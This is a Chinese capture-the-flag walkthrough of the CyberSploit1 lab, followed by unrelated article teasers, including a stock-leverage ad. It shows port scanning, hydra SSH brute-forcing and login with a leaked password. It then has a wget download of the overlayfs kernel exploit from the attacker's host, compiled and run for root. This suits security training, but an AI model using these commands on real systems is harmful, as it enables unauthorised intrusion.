靶场通关记录
OSCP系列靶场-Esay-CyberSploit1
总结
getwebshell → 源码注释发现用户名 → robots.txt发现base64密码 → SSH登录
提 权 思 路 → 内网信息收集 → 发现发行版本有点老 → 内核overlayfs提权
准备工作
-
启动VPN
获取攻击机IP >192.168.45.220 -
启动靶机
获取目标机器IP >192.168.176.92
信息收集-端口扫描
目标开放端口收集
- Nmap开放端口扫描2次
┌──(root㉿Kali)-[/home/bachang/CyberSploit1]
└─# ┌──(root㉿Kali)-[/home/bachang/Blogger]
└─# sudo nmap --min-rate 10000 -p- 192.168.176.92
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-23 11:45 CST
Nmap scan report for 192.168.176.92
Host is up (0.30s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 9.39 seconds
通过两次收集到的端口:→22,80
目标端口对应服务探测
# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.176.92
信息收集-端口测试
两个端口的话,通常突破口在80端口
22-SSH端口的信息收集
22-SSH端口版本信息与MSF利用(待定)
通过Nmap探测获得SSH的版本信息,可以尝试利用
# 进入msf # 探测版本为OpenSSH 5.9p1 Debian 5ubuntu1.10
msfconsole
# 搜索对应脚本
msf6 > searchsploit OpenSSH 5.9p1
貌似存在用户枚举,等没思路的时候可以来试试
22-SSH手动登录尝试(失败)
尝试root账户的密码爆破
ssh root@192.168.176.92 -p 22
# 密码尝试
password > root

22-SSH弱口令爆破(挂着干别的)
尝试root账户的密码爆破,利用工具hydra,线程-t为6
1.hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.176.92 ssh -s 22

80-HTTP端口的信息收集
访问 http://192.168.176.92/ 发现不是一个标准的CMS从源码查看开始
信息收集-源码查看
# 包括文章中是否写明一些敏感信息
curl http://192.168.176.92:80
收集到一个用户名信息 itsskv
信息收集-目录扫描
信息收集-目录扫描初步
dirsearch -u http://192.168.176.92:80 -x 302,403
因为扫出了目录,深层次的扫描待选
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问
/robots.txt端点访问
存在一串代码,推测是加密,带等号尝试用bashe64解密
1.Y3liZXJzcGxvaXR7eW91dHViZS5jb20vYy9jeWJlcnNwbG9pdH0=
base64解密
利用kali解密得到了内容,确认是base64加密
┌──(root㉿Kali)-[/home/bachang/Blogger]
└─# echo "Y3liZXJzcGxvaXR7eW91dHViZS5jb20vYy9jeWJlcnNwbG9pdH0=
" | base64 -d
cybersploit{youtube.com/c/cybersploit}
另外两个端点没东西
漏洞利用-getwebshell
信息泄露getwebshell
已知用户名 itsskv 和 cybersploit{youtube.com/c/cybersploit}
头脑风暴一下,密码会不会和cybersploit{youtube.com/c/cybersploit}有关
之前hyrda可以爆破说明22端口是允许账号密码登录的
22-SSH账号密码登录(成功)
获取账号密码之后利用SSH进行登录
ssh itsskv<span>@192.168.176.92</span> -p22
password > cybersploit (失败)
password > cybersploit{youtube.com/c/cybersploit}(成功)
密码真长,我真的会谢
内网遨游-getshell
FLAG1获取
# 有2个,理论上排除掉第一个,找home下
itsskv<span>@cybersploit-CTF</span>:~$ find / -name local.txt 2>/dev/null
/usr/share/checkbox/jobs/local.txt
/home/itsskv/local.txt
itsskv<span>@cybersploit-CTF</span>:~$ cat /home/itsskv/local.txt
*********************

信息收集-内网基础信息收集
在获取shell之后我们要进行内网信息的收集,都是为了提权做准备
检测操作系统的发行版本
# 确定发行版本 较老
itsskv<span>@cybersploit-CTF</span>:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 12.04.5 LTS
Release: 12.04
Codename: precise
查看内核版本信息
# 确定内核版本
itsskv<span>@cybersploit-CTF</span>:~$ uname -a
Linux cybersploit-CTF 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 athlon i386 GNU/Linux
确认home目录下用户
itsskv<span>@cybersploit-CTF</span>:~$ ls -al /home
total 16
# 有两个用户
drwxr-xr-x 22 cybersploit cybersploit 4096 Sep 4 2020 cybersploit
drwxr-xr-x 20 itsskv itsskv 4096 Sep 4 2020 itsskv
确认home目录下是否有隐藏文件
# 例如.ssh找密码 ./*_history找历史记录等
itsskv<span>@cybersploit-CTF</span>:~$ ls -al /home/itsskv
# 查看了一下没啥
drwxr-xr-x 20 itsskv itsskv 4096 Sep 4 2020 .
drwxr-xr-x 4 root root 4096 Jun 25 2020 ..
-rw------- 1 itsskv itsskv 0 Sep 4 2020 .bash_history
-rw-r--r-- 1 itsskv itsskv 220 Jun 25 2020 .bash_logout
-rw-r--r-- 1 itsskv itsskv 3486 Jun 25 2020 .bashrc
drwx------ 14 itsskv itsskv 4096 Jun 25 2020 .cache
drwx------ 9 itsskv itsskv 4096 Jun 25 2020 .config
权限提升
Linux提权-内核overlayfs提权尝试
因为发行版本较老,若存在以下情况进行overlayfsLinux Kernel Version提权
| 系统 | 版本 |
|---|---|
| Linux Kernel Version | 大于3.13.0小于3.19 |
| Ubuntu | Linux 15.04 |
| Ubuntu | Linux 14.10 |
| Ubuntu | Linux 14.10 |
| Ubuntu | Linux 12.04 |
漏洞利用-内核overlayfs提权
msfconsole
msf > searchsploit overlayfs

结合 3.13.0-32的版本信息选择2与3
# 如果想查看msf对应的内容
cat /usr/share/exploitdb/exploits/linux/local/37292.c

将文件保存在当前目录下,方便开启http服务
┌──(root㉿Kali)-[/home/bachang/CyberSploit1]
└─# cp /usr/share/exploitdb/exploits/linux/local/37292.c ./shell.c
┌──(root㉿Kali)-[/home/bachang/CyberSploit1]
└─# ls
hydra.restore shell.c

攻击机开启服务
1.sudo python3 -m http.server 80
目标机器
# 首先到具有权限的目录下 如/tmp
itsskv<span>@cybersploit-CTF</span>:~$ cd /tmp
# 下载
itsskv<span>@cybersploit-CTF</span>:/tmp$ wget http://192.168.45.220/shell.c
# 给权限
itsskv<span>@cybersploit-CTF</span>:/tmp$ chmod +x shell.c
# 如果是c的需要进行编译
itsskv<span>@cybersploit-CTF</span>:/tmp$ gcc shell.c -o shell.c
# 运行
itsskv<span>@cybersploit-CTF</span>:/tmp$ ./shell.c
spawning threads
mount #1
mount#2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root
提权成功
FLAG2获取
# cat /root/proof.txt
*********************
完结撒花~~~
原文地址: https://bbs.zkaq.cn/t/30873.html

相关文章:
靶场通关记录
OSCP系列靶场-Esay-CyberSploit1 总结 getwebshell → 源码注释发现用户名 → robots.txt发现base64密码 → SSH登录 提 权 思 路 → 内网信息收集 → 发现发行版本有点老 → 内核overlayfs提权 准备工作 启动VPN 获取攻击机IP > 192.168.45.220 启动靶机 获取目标机器I…...
全网最新最全的软件测试面试题
一、前言 与开发工程师相比,软件测试工程师前期可能不会太深,但涉及面还是很广的。 在一年左右的实习生或岗位的早期面试中,主要是问一些基本的问题。 涉及到的知识主要包括MySQL数据库的使用、Linux操作系统的使用、软件测试框架问题、测试…...
如何列出 Ubuntu 和 Debian 上已安装的软件包
当你安装了 Ubuntu 并想好好用一用。但在将来某个时候,你肯定会遇到忘记曾经安装了那些软件包。 这个是完全正常。没有人要求你把系统里所有已安装的软件包都记住。但是问题是,如何才能知道已经安装了哪些软件包?如何查看安装过的软件包呢&a…...
图论---最小生成树问题
在连通网的所有生成树中,所有边的代价和最小的生成树,称为最小生成树。解决最小生成树问题一般有两种算法:Kruskal算法和Prim算法。 Kruskal算法 原理:基本思想是从小到大加入边,是个贪心算法。我们将图中的每个边按…...
elementplus 时间范围选择器限制选择时间范围
<el-date-pickerv-model"form.time" type"daterange"range-separator"-"start-placeholder"开始时间"end-placeholder"结束":disabled-date"disabledDate"calendar-Change"calendarChange" />co…...
【网络】抓包工具Wireshark下载安装和基本使用教程
🍁 博主 "开着拖拉机回家"带您 Go to New World.✨🍁 🦄 个人主页——🎐开着拖拉机回家_Linux,大数据运维-CSDN博客 🎐✨🍁 🪁🍁 希望本文能够给您带来一定的帮助…...
Metasequoia 4 水杉3D建模工具 附序列号
Metasequoia 4是一款非常强大的3D水杉建模工具,它基于多边形建模技术,可以用于创建各种对象并支持多种第三方3DCG软件的文件格式,是一款非常适合从爱好到业务,支持3D电脑绘图,3D印刷,游戏开发等的3D建模软件…...
股票杠杆交易平台排名:淘配网推荐的十大平台
在投资世界中,股票杠杆交易一直以其提供更高回报机会的吸引力而备受欢迎。随着市场的不断发展,出现了越来越多的股票杠杆交易平台。本文将为您介绍淘配网推荐的十大股票杠杆交易平台,并分析它们的特点。 富灯网 - 富灯网以其全面的杠杆产品和…...
CoreData + CloudKit 在初始化 Schema 时报错 A Core Data error occurred 的解决
问题现象 如果希望为 CoreData 支持的 App 增加云数据备份和同步功能,那么 CloudKit 是绝佳的选择。CloudKit 会帮我们默默处理好一切,我们基本不用为升级而操心。 不过,有时在用本地 CoreData NSManagedObjectModel 初始化 iCloud 中的 Schema 时会发生如下错误: Error …...
修炼k8s+flink+hdfs+dlink(三:安装dlink)
一:mysql初始化。 mysql -uroot -p123456 create database dinky; grant all privileges on dinky.* to dinky% identified by dinky with grant option; flush privileges;二:上传dinky。 上传至目录/opt/app/dlink tar -zxvf dlink-release-0.7.4.t…...
Linux 系统性能瓶颈分析(超详细)
Author:rab 目录 前言一、性能指标1.1 进程1.1.1 进程定义1.1.2 进程状态1.1.3 进程优先级1.1.4 进程与程序间的关系1.1.5 进程与进程间的关系1.1.6 进程与线程的关系 1.2 内存1.2.1 物理内存与虚拟内存1.2.2 页高速缓存与页写回机制1.2.3 Swap Space 1.3 文件系统1…...
kafka与zookeeper的集群
基础配置 systemctl stop firewalld && systemctl disable firewalld setenforce 0 sed -i s/SELINUXenforcing/SELINUXdisabled/ /etc/selinux/configvi /etc/hosts ip1 node1 ip2 node2 ip3 node3zookeeper介绍 zookeeper是一个分布式的协调服务,主要用…...
sqlalchemy 连接池
报错 sqlalchemy.exc.TimeoutError: QueuePool limit of size 100 overflow 10 reached, connection timed out, timeout 30 (Background on this error at: http://sqlalche.me/e/3o7r) 查看数据库未活动超时时间 show variables like "interactive_timeout";一般…...
用Blender制作YOLO目标检测器训练数据
推荐:用 NSDT编辑器 快速搭建可编程3D场景 本文将介绍一种非常有吸引力的机器学习训练数据的替代方案,用于为给定的特定应用程序收集数据。 无论应用程序类型如何,这篇博文都旨在向读者展示使用 Blender 等开源资源生成合成数据(S…...
c++视觉处理---均值滤波
均值滤波 cv::blur()函数是OpenCV中用于应用均值滤波的函数。均值滤波是一种简单的平滑技术,它计算每个像素周围像素的平均值,并用该平均值替代原始像素值。这有助于降低图像中的噪声,并可以模糊图像的细节。 以下是cv::blur()函数的基本用…...
QT基础入门——Qt事件(五)
前言: 事件(event)是由系统或者 Qt 本身在不同的时刻发出的。当用户按下鼠标、敲下键盘,或者是窗口需要重新绘制的时候,都会发出一个相应的事件。一些事件在对用户操作做出响应时发出,如键盘事件等&#x…...
自学黑客方法-----(网络安全)
如果你想自学网络安全,首先你必须了解什么是网络安全!,什么是黑客!! 1.无论网络、Web、移动、桌面、云等哪个领域,都有攻与防两面性,例如 Web 安全技术,既有 Web 渗透2.也有 Web 防…...
Dockerfile自定义容器
1、Dockerfile Dockerfile 是用于构建 Docker 镜像的文本文件,其中包含一系列的指令和配置,用于定义镜像的构建过程。通过 Dockerfile,你可以定义镜像的基础操作系统、依赖、环境设置、应用程序等信息,从而实现可复制、自动化的镜…...
(5)SpringMVC处理携带JSON格式(“key“:value)请求数据的Ajax请求
SpringMVC处理Ajax 参考文章数据交换的常见格式,如JSON格式和XML格式 请求参数的携带方式 浏览器发送到服务器的请求参数有namevalue&...(键值对)和{key:value,...}(json对象)两种格式 URL请求会将请求参数以键值对的格式拼接到请求地址后面,form表单的GET和POST请求会…...
【iOS】——仿写计算器
文章目录 一、实现思路二、实现方法三、判错处理 一、实现思路 先搭建好MVC框架,接着在各个模块中实现各自的任务。首先要创建好UI界面,接着根据UI界面的元素来与数据进行互动,其中创建UI界面需要用到Masonry布局。 二、实现方法 在calcu…...
SpringBoot-17-MyBatis动态SQL标签之常用标签
文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…...
【OSG学习笔记】Day 18: 碰撞检测与物理交互
物理引擎(Physics Engine) 物理引擎 是一种通过计算机模拟物理规律(如力学、碰撞、重力、流体动力学等)的软件工具或库。 它的核心目标是在虚拟环境中逼真地模拟物体的运动和交互,广泛应用于 游戏开发、动画制作、虚…...
React Native 开发环境搭建(全平台详解)
React Native 开发环境搭建(全平台详解) 在开始使用 React Native 开发移动应用之前,正确设置开发环境是至关重要的一步。本文将为你提供一份全面的指南,涵盖 macOS 和 Windows 平台的配置步骤,如何在 Android 和 iOS…...
黑马Mybatis
Mybatis 表现层:页面展示 业务层:逻辑处理 持久层:持久数据化保存 在这里插入图片描述 Mybatis快速入门 。 1. 简介 Nginx 使用 server_name 指令来确定…...
vue3+vite项目中使用.env文件环境变量方法
vue3vite项目中使用.env文件环境变量方法 .env文件作用命名规则常用的配置项示例使用方法注意事项在vite.config.js文件中读取环境变量方法 .env文件作用 .env 文件用于定义环境变量,这些变量可以在项目中通过 import.meta.env 进行访问。Vite 会自动加载这些环境变…...
Java多线程实现之Thread类深度解析
Java多线程实现之Thread类深度解析 一、多线程基础概念1.1 什么是线程1.2 多线程的优势1.3 Java多线程模型 二、Thread类的基本结构与构造函数2.1 Thread类的继承关系2.2 构造函数 三、创建和启动线程3.1 继承Thread类创建线程3.2 实现Runnable接口创建线程 四、Thread类的核心…...
docker 部署发现spring.profiles.active 问题
报错: org.springframework.boot.context.config.InvalidConfigDataPropertyException: Property spring.profiles.active imported from location class path resource [application-test.yml] is invalid in a profile specific resource [origin: class path re…...
Mobile ALOHA全身模仿学习
一、题目 Mobile ALOHA:通过低成本全身远程操作学习双手移动操作 传统模仿学习(Imitation Learning)缺点:聚焦与桌面操作,缺乏通用任务所需的移动性和灵活性 本论文优点:(1)在ALOHA…...
GitFlow 工作模式(详解)
今天再学项目的过程中遇到使用gitflow模式管理代码,因此进行学习并且发布关于gitflow的一些思考 Git与GitFlow模式 我们在写代码的时候通常会进行网上保存,无论是github还是gittee,都是一种基于git去保存代码的形式,这样保存代码…...

